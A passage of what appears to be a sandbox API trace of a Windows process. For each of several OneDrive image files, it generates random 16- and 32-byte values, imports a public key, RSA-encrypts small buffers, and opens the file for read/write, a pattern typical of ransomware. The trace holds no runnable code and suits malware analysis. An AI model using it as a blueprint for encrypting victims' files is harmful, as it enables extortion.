[0182.263] CryptGetKeyParam (in: hKey=0x4f2b588, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.263] CryptEncrypt (in: hKey=0x4f2b588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x57a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x57a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.264] GetLastError () returned 0x0 [0182.264] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.264] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.266] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b6c8) returned 1 [0182.266] CryptGetKeyParam (in: hKey=0x4f2b6c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.266] CryptEncrypt (in: hKey=0x4f2b6c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x57b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x57b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.266] GetLastError () returned 0x0 [0182.266] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.266] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFiles.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfiles.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.266] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.267] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.268] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.268] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.268] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.268] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.269] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.270] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.270] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.270] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.270] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.272] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bc88) returned 1 [0182.272] CryptGetKeyParam (in: hKey=0x4f2bc88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.272] CryptEncrypt (in: hKey=0x4f2bc88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x57c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x57c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.272] GetLastError () returned 0x0 [0182.272] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.272] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.274] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b988) returned 1 [0182.274] CryptGetKeyParam (in: hKey=0x4f2b988, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.274] CryptEncrypt (in: hKey=0x4f2b988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x57d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x57d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.275] GetLastError () returned 0x0 [0182.275] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.275] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFilesDehydrate.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfilesdehydrate.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.275] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.276] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.277] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.277] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.277] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.277] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.278] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.279] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.279] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.279] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.279] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0182.281] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bac8) returned 1 [0182.281] CryptGetKeyParam (in: hKey=0x4f2bac8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.281] CryptEncrypt (in: hKey=0x4f2bac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x57e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x57e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.281] GetLastError () returned 0x0 [0182.281] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.281] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.283] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bb48) returned 1 [0182.283] CryptGetKeyParam (in: hKey=0x4f2bb48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.283] CryptEncrypt (in: hKey=0x4f2bb48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x57f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x57f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.283] GetLastError () returned 0x0 [0182.283] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.283] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandselectivesync.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.284] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.285] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.285] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.285] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.285] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.286] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.287] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.287] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.287] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.287] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.287] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.289] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b9c8) returned 1 [0182.289] CryptGetKeyParam (in: hKey=0x4f2b9c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.289] CryptEncrypt (in: hKey=0x4f2b9c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5800000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5800000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.290] GetLastError () returned 0x0 [0182.290] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.290] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.291] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b848) returned 1 [0182.291] CryptGetKeyParam (in: hKey=0x4f2b848, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.291] CryptEncrypt (in: hKey=0x4f2b848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5810000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5810000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.292] GetLastError () returned 0x0 [0182.292] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.292] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onedrivePremium.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\onedrivepremium.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.292] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.293] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.294] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.294] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.294] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.294] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.295] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.296] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.296] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.296] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.296] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0182.298] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b788) returned 1 [0182.298] CryptGetKeyParam (in: hKey=0x4f2b788, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.298] CryptEncrypt (in: hKey=0x4f2b788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5820000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5820000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.298] GetLastError () returned 0x0 [0182.298] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.298] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.300] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b7c8) returned 1 [0182.300] CryptGetKeyParam (in: hKey=0x4f2b7c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.300] CryptEncrypt (in: hKey=0x4f2b7c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5830000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5830000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.301] GetLastError () returned 0x0 [0182.301] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.301] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\overflowIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\overflowicon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.301] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.302] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.303] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.303] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.303] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.303] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0182.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.305] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.305] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.305] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.305] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0182.307] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b508) returned 1 [0182.307] CryptGetKeyParam (in: hKey=0x4f2b508, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.307] CryptEncrypt (in: hKey=0x4f2b508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5840000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5840000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.307] GetLastError () returned 0x0 [0182.307] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.307] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0182.309] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bb08) returned 1 [0182.309] CryptGetKeyParam (in: hKey=0x4f2bb08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.309] CryptEncrypt (in: hKey=0x4f2bb08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5850000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5850000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.310] GetLastError () returned 0x0 [0182.310] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.310] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\overflowIconWhite.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\overflowiconwhite.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.310] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.311] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.312] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.312] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.312] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.312] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0182.313] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.314] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.314] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.314] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.314] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.316] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b4c8) returned 1 [0182.317] CryptGetKeyParam (in: hKey=0x4f2b4c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.317] CryptEncrypt (in: hKey=0x4f2b4c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5860000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5860000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.317] GetLastError () returned 0x0 [0182.317] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.317] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0182.320] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b888) returned 1 [0182.320] CryptGetKeyParam (in: hKey=0x4f2b888, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.320] CryptEncrypt (in: hKey=0x4f2b888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5870000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5870000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.320] GetLastError () returned 0x0 [0182.320] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.320] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\partiallyFreezing.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\partiallyfreezing.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.322] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.325] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.325] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.325] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.325] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0182.326] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.327] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.327] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.327] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.329] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bb88) returned 1 [0182.329] CryptGetKeyParam (in: hKey=0x4f2bb88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.329] CryptEncrypt (in: hKey=0x4f2bb88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5880000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5880000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.329] GetLastError () returned 0x0 [0182.329] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.329] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0182.331] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, 